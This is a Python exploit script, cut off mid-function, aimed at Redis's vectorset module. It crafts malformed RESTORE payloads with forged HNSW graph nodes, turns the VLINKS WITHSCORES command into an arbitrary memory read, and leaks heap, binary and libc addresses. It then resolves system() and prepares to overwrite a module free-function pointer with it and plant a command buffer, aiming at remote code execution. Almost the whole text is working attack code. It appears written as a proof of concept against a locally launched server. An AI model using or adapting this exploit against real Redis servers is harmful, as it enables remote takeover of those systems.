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| from __future__ import annotations
import argparse
import os
import pathlib
import re
import shutil
import socket
import struct
import subprocess
import time
from dataclasses import dataclass
RDB_TYPE_MODULE_2 = 7
RDB_VERSION = 14
RDB_MODULE_OPCODE_EOF = 0
RDB_MODULE_OPCODE_UINT = 2
RDB_MODULE_OPCODE_STRING = 5
LUA_TO_OLD_B = 0x1D40
LUA_TO_C0 = 0x2030
MODULETYPE_FREE_OFF = 72
SERVER_DB_OFF = 64
KVSTORE_DICTS_OFF = 152
KVSTORE_NUM_DICTS_OFF = 160
DICT_TABLE0_OFF = 8
DICT_USED0_OFF = 24
DICT_HT_SIZE_EXP0_OFF = 52
KVOBJ_PTR_OFF = 8
KVOBJ_EMBED_HDR_OFF = 16
def p64(x: int) -> bytes:
return struct.pack("<Q", x & ((1 << 64) - 1))
def rdb_len(n: int) -> bytes:
if n < 1 << 6:
return bytes([n])
if n < 1 << 14:
return bytes([0x40 | (n >> 8), n & 0xFF])
if n <= 0xFFFFFFFF:
return b"\x80" + struct.pack(">I", n)
return b"\x81" + struct.pack(">Q", n)
def mod_uint(n: int) -> bytes:
return rdb_len(RDB_MODULE_OPCODE_UINT) + rdb_len(n)
def mod_str(b: bytes) -> bytes:
return rdb_len(RDB_MODULE_OPCODE_STRING) + rdb_len(len(b)) + b
def module_type_id(name: str, encver: int = 0) -> int:
cset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
out = 0
for ch in name:
out = (out << 6) | cset.index(ch)
return (out << 10) | encver
MODULE_ID = module_type_id("vectorset")
def fbits(f: float) -> int:
return struct.unpack("<I", struct.pack("<f", f))[0]
def hnode_qbin(name: bytes, vec: bytes, node_id: int, links: list[int], max_links: int | None = None) -> bytes:
if max_links is None:
max_links = max(32, len(links))
params = [node_id, (1 << 24) | 0, len(links), max_links, *links]
params += [((fbits(1.0) << 32) | 0) if links else 0, fbits(1.0)]
out = mod_str(name) + mod_str(vec) + mod_uint(len(params))
for q in params:
out += mod_uint(q)
return out
def restore_payload_65_masks() -> bytes:
masks = [0] + [1 << i for i in range(64)]
cids = [2 + i for i in range(len(masks))]
body = bytes([RDB_TYPE_MODULE_2]) + rdb_len(MODULE_ID)
body += mod_uint(64)
body += mod_uint(2 + len(masks))
body += mod_uint((16 << 8) | 2)
body += mod_uint(0)
body += hnode_qbin(b"A", (1).to_bytes(8, "little"), 1, cids, max_links=max(32, len(cids)))
body += hnode_qbin(b"B", (2).to_bytes(8, "little"), 1, [])
for i, m in enumerate(masks):
body += hnode_qbin(f"C{i:02d}".encode(), m.to_bytes(8, "little"), 2 + i, [1])
body += rdb_len(RDB_MODULE_OPCODE_EOF) + RDB_VERSION.to_bytes(2, "little") + b"\0" * 8
return body
def hnode_f32(name: bytes, vector: tuple[float, float], node_id: int, layers: list[list[int]]) -> bytes:
vector_bytes = struct.pack("<ff", *vector)
level = len(layers) - 1
params = [node_id, (1 << 24) | level]
for lev, links in enumerate(layers):
params += [len(links), 32 if lev == 0 else 16, *links]
params.append(((fbits(1.0) << 32) | 0) if links else 0)
params.append(fbits(1.0))
out = mod_str(name) + mod_str(vector_bytes) + mod_uint(len(params))
for q in params:
out += mod_uint(q)
return out
def payload_two_stale_for_write() -> bytes:
body = bytes([RDB_TYPE_MODULE_2]) + rdb_len(MODULE_ID)
body += mod_uint(2) + mod_uint(6) + mod_uint(16 << 8) + mod_uint(0)
body += hnode_f32(b"A", (1, 0), 1, [[2]])
body += hnode_f32(b"B", (0, 1), 1, [[]])
body += hnode_f32(b"F", (0, -1), 3, [[2]])
body += hnode_f32(b"D", (1, 1), 3, [[]])
body += hnode_f32(b"C", (-1, 0), 2, [[1, 3]])
body += hnode_f32(b"E", (-1, -1), 4, [[], []])
body += rdb_len(RDB_MODULE_OPCODE_EOF) + RDB_VERSION.to_bytes(2, "little") + b"\0" * 8
return body
def make_req(*args) -> bytes:
out = b"*" + str(len(args)).encode() + b"\r\n"
for a in args:
if isinstance(a, str):
a = a.encode()
elif isinstance(a, int):
a = str(a).encode()
out += b"$" + str(len(a)).encode() + b"\r\n" + a + b"\r\n"
return out
def redis_cmd(port: int, *args, timeout: float = 1.0) -> bytes:
with socket.create_connection(("127.0.0.1", port), timeout=timeout) as s:
s.settimeout(timeout)
s.sendall(make_req(*args))
chunks = []
while True:
try:
part = s.recv(65536)
except TimeoutError:
break
if not part:
break
chunks.append(part)
if len(part) < 65536:
break
return b"".join(chunks)
def resp_bulk(resp: bytes) -> bytes:
if not resp.startswith(b"$"):
raise RuntimeError(f"expected bulk reply, got {resp[:120]!r}")
e = resp.index(b"\r\n")
n = int(resp[1:e])
if n < 0:
raise RuntimeError("nil bulk")
return resp[e + 2:e + 2 + n]
class RespParser:
def __init__(self, sock: socket.socket):
self.s = sock
self.buf = b""
def need(self, n: int) -> None:
while len(self.buf) < n:
chunk = self.s.recv(65536)
if not chunk:
raise EOFError("socket closed")
self.buf += chunk
def line(self) -> bytes:
while b"\r\n" not in self.buf:
chunk = self.s.recv(65536)
if not chunk:
raise EOFError("socket closed")
self.buf += chunk
i = self.buf.index(b"\r\n")
line = self.buf[:i]
self.buf = self.buf[i + 2:]
return line
def parse(self):
self.need(1)
p = self.buf[:1]
self.buf = self.buf[1:]
line = self.line()
if p in b"+-:,":
return p, line
if p == b"$":
n = int(line)
if n < 0:
return None
self.need(n + 2)
data = self.buf[:n]
self.buf = self.buf[n + 2:]
return data
if p in b"*%~":
n = int(line)
total = n * (2 if p == b"%" else 1)
return [self.parse() for _ in range(total)]
raise ValueError((p, line, self.buf[:32]))
def collect_floats(obj) -> list[float]:
out = []
if isinstance(obj, bytes):
if re.fullmatch(rb"[+-]?(?:\d+(?:\.\d*)?|\.\d+)", obj):
out.append(float(obj))
elif isinstance(obj, tuple):
p, line = obj
if p == b",":
try:
out.append(float(line))
except ValueError:
pass
elif isinstance(obj, list):
for x in obj:
out.extend(collect_floats(x))
return out
class FastReader:
def __init__(self, port: int):
self.s = socket.create_connection(("127.0.0.1", port), timeout=2)
self.s.settimeout(2)
self.r = RespParser(self.s)
def cmd(self, *args):
self.s.sendall(make_req(*args))
return self.r.parse()
def read64(self, addr: int) -> int:
self.cmd("SETRANGE", "spray", "11", p64(addr))
self.s.sendall(b"".join(make_req("VLINKS", "v", f"C{i:02d}", "WITHSCORES") for i in range(65)))
vals = []
for i in range(65):
obj = self.r.parse()
fs = collect_floats(obj)
if not fs:
raise RuntimeError(f"no score for C{i:02d}: {obj!r}")
vals.append(fs[-1])
pc0 = round((1.0 - vals[0]) * 64)
out = 0
for bit in range(64):
if round((1.0 - vals[bit + 1]) * 64) < pc0:
out |= 1 << bit
return out
def read8(self, addr: int) -> int:
return self.read64(addr) & 0xFF
def read_bytes(self, addr: int, n: int) -> bytes:
data = bytearray()
for off in range(0, n, 8):
data += p64(self.read64(addr + off))
return bytes(data[:n])
def close(self) -> None:
self.s.close()
@dataclass
class KeyEntry:
name: bytes
kv: int
value: int
keyptr: int
def parse_symbol_offset(binary: pathlib.Path, symbol: str) -> int:
out = subprocess.check_output(["nm", "-an", str(binary)], text=True)
for line in out.splitlines():
parts = line.split()
if len(parts) >= 3 and parts[2] == symbol:
return int(parts[0], 16)
raise RuntimeError(f"could not find symbol {symbol}")
def parse_got_offset(binary: pathlib.Path, symbol: str) -> int:
out = subprocess.check_output(["readelf", "-rW", str(binary)], text=True)
for line in out.splitlines():
if re.search(rf"\b{re.escape(symbol)}@", line):
return int(line.split()[0], 16)
raise RuntimeError(f"could not find GOT relocation for {symbol}")
def libc_path(binary: pathlib.Path) -> str:
out = subprocess.check_output(["ldd", str(binary)], text=True)
for line in out.splitlines():
if "libc.so.6" in line:
m = re.search(r"=>\s+(\S+)", line)
if m:
return m.group(1)
first = line.strip().split()[0]
if first.startswith("/"):
return first
return "/lib/x86_64-linux-gnu/libc.so.6"
def map_base(pid: int, target: pathlib.Path) -> int:
target_s = str(target)
for line in pathlib.Path(f"/proc/{pid}/maps").read_text().splitlines():
if target_s in line and "r--p" in line:
return int(line.split("-", 1)[0], 16)
raise RuntimeError("could not locate redis-server mapping")
def libc_offsets(binary: pathlib.Path) -> tuple[int, int]:
out = subprocess.check_output(["readelf", "-sW", libc_path(binary)], text=True)
got = {}
for line in out.splitlines():
m = re.search(r"\s+([0-9a-fA-F]+)\s+\d+\s+FUNC\s+\w+\s+\w+\s+\d+\s+(free|system)@@", line)
if m:
got[m.group(2)] = int(m.group(1), 16)
if "free" not in got or "system" not in got:
raise RuntimeError("could not parse libc free/system offsets")
return got["free"], got["system"]
def start_redis(binary: pathlib.Path, work: pathlib.Path, port: int) -> subprocess.Popen:
tmp = work / "tmp"
rundir = tmp / f"rce-nondebug-{port}-{os.getpid()}"
shutil.rmtree(rundir, ignore_errors=True)
rundir.mkdir(parents=True, exist_ok=True)
conf = tmp / f"rce-nondebug-{port}.conf"
conf.write_text(
f"port {port}\n"
"bind 127.0.0.1\n"
"protected-mode no\n"
"save \"\"\n"
"appendonly no\n"
f"dir {work}\n"
f"dbfilename rce-nondebug-{port}.rdb\n"
f"logfile {tmp / f'rce-nondebug-{port}.log'}\n"
"daemonize no\n"
"enable-debug-command no\n"
"sanitize-dump-payload yes\n"
)
p = subprocess.Popen([str(binary), str(conf)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
for _ in range(150):
try:
if b"PONG" in redis_cmd(port, "PING", timeout=0.2):
return p
except Exception:
time.sleep(0.02)
raise RuntimeError("Redis did not start")
def runtime_dir(work: pathlib.Path, port: int) -> tuple[pathlib.Path, pathlib.Path | None]:
if len(work.as_posix()) <= 36:
return work, None
roots = []
if pathlib.Path("/mnt/d").exists():
roots.append(pathlib.Path("/mnt/d"))
roots.append(pathlib.Path("/tmp"))
names = ["rv"] + [f"rv{i}" for i in range(10)] + ["rw", "rx", "ry", "rz"]
for root in roots:
for name in names:
cand = root / name
if cand.exists() or cand.is_symlink():
continue
try:
cand.mkdir()
return cand, cand
except OSError:
continue
return work, None
def fake_hnsw_for_read(old_b: int, target: int, length: int = 330) -> bytes:
d = bytearray(b"Z" * length)
def put(struct_off: int, bs: bytes) -> None:
off = struct_off - 5
d[off:off + len(bs)] = bs
put(16, p64(target))
put(288, p64(old_b + 296))
put(296, p64(old_b + 312) + p64(0))
put(312, p64(0x10) + p64(1337))
return bytes(d)
def setrange(port: int, key: str | bytes, off: int, data: bytes) -> None:
r = redis_cmd(port, "SETRANGE", key, str(off), data, timeout=2)
if not r.startswith(b":"):
raise RuntimeError(f"SETRANGE {key!r}@{off} failed: {r!r}")
def key_name_from_kv(fr: FastReader, kv: int) -> tuple[bytes, int]:
hdr = fr.read8(kv + KVOBJ_EMBED_HDR_OFF)
keyptr = kv + KVOBJ_EMBED_HDR_OFF + 1 + hdr
raw = fr.read_bytes(keyptr, 32)
return raw.split(b"\0", 1)[0], keyptr
def scan_db_keys(fr: FastReader, binary: pathlib.Path, pie: int, max_entries: int = 128) -> list[KeyEntry]:
server = pie + parse_symbol_offset(binary, "server")
db = fr.read64(server + SERVER_DB_OFF)
kvs = fr.read64(db)
dicts = fr.read64(kvs + KVSTORE_DICTS_OFF)
num_dicts = fr.read64(kvs + KVSTORE_NUM_DICTS_OFF)
if num_dicts == 0 or num_dicts > 64:
raise RuntimeError(f"unexpected kvstore num_dicts={num_dicts} at {kvs:#x}")
out = []
seen = set()
for di in range(num_dicts):
d = fr.read64(dicts + 8 * di)
if d == 0:
continue
table = fr.read64(d + DICT_TABLE0_OFF)
used = fr.read64(d + DICT_USED0_OFF)
exp = fr.read8(d + DICT_HT_SIZE_EXP0_OFF)
if used == 0 or exp > 20:
continue
for bi in range(1 << exp):
cur = fr.read64(table + 8 * bi)
depth = 0
while cur and depth < 32 and len(out) < max_entries:
if cur & 1:
kv = cur
nxt = 0
elif cur & 2:
kv = cur & ~7
nxt = 0
else:
nxt = fr.read64(cur)
kv = fr.read64(cur + 8)
if kv and kv not in seen:
try:
name, keyptr = key_name_from_kv(fr, kv)
value = fr.read64(kv + KVOBJ_PTR_OFF)
out.append(KeyEntry(name=name, kv=kv, value=value, keyptr=keyptr))
seen.add(kv)
except Exception:
pass
cur = nxt
depth += 1
return out
def find_required_keys(fr: FastReader, binary: pathlib.Path, pie: int, required: set[bytes]) -> dict[bytes, KeyEntry]:
entries = []
got = {}
for _ in range(5):
entries = scan_db_keys(fr, binary, pie)
got = {e.name: e for e in entries if e.name in required}
if required.issubset(got.keys()):
return got
time.sleep(0.05)
names = sorted(e.name for e in entries)
raise RuntimeError(f"missing keys {sorted(required - got.keys())}; saw {names}")
def patch_fake_node(port: int, key: str, content_ptr: int, links_target: int, system_addr: int | None, command: bytes | None) -> None:
buf = bytearray(b"\0" * 330)
if command is not None:
buf[:len(command)] = command
buf[16 - 5:16 - 5 + 8] = p64(content_ptr + 200)
buf[200:208] = struct.pack("<ff", 0.0, 0.0)
if system_addr is not None:
buf[MODULETYPE_FREE_OFF - 5:MODULETYPE_FREE_OFF - 5 + 8] = p64(system_addr)
layer = p64(links_target) + struct.pack("<II f I", 0, 1, 0.0, 0)
buf[312 - 5:312 - 5 + len(layer)] = layer
setrange(port, key, 0, bytes(buf))
def run(binary: pathlib.Path, work: pathlib.Path, port: int) -> int:
proof = work / "R"
try:
proof.unlink()
except FileNotFoundError:
pass
redis_work, cleanup_link = runtime_dir(work, port)
if redis_work != work:
(redis_work / "R").symlink_to(proof)
p = start_redis(binary, redis_work, port)
fr = None
try:
lua_s = resp_bulk(redis_cmd(port, "EVAL", "return tostring({})", "0", timeout=1)).decode()
lua_ptr = int(lua_s.split("0x", 1)[1], 16)
old_b = lua_ptr + LUA_TO_OLD_B
c0 = lua_ptr + LUA_TO_C0
print(f"[+] lua={lua_ptr:#x} oldB(read)={old_b:#x} C00={c0:#x}")
print(f"[+] RESTORE v(read) {redis_cmd(port, 'RESTORE', 'v', '0', restore_payload_65_masks(), 'REPLACE', timeout=2)!r}")
print(f"[+] VREM v B {redis_cmd(port, 'VREM', 'v', 'B', timeout=1)!r}")
print(f"[+] SET spray {redis_cmd(port, 'SET', 'spray', fake_hnsw_for_read(old_b, c0 + 8), timeout=1)!r}")
fr = FastReader(port)
probe = fr.read64(c0 + 8)
if probe != 2:
raise RuntimeError(f"read oracle self-test failed: read C00.id {probe:#x}")
pie = map_base(p.pid, binary)
free_got_off = parse_got_offset(binary, "free")
free_addr = fr.read64(pie + free_got_off)
free_off, system_off = libc_offsets(binary)
libc_base = free_addr - free_off
system_addr = libc_base + system_off
|
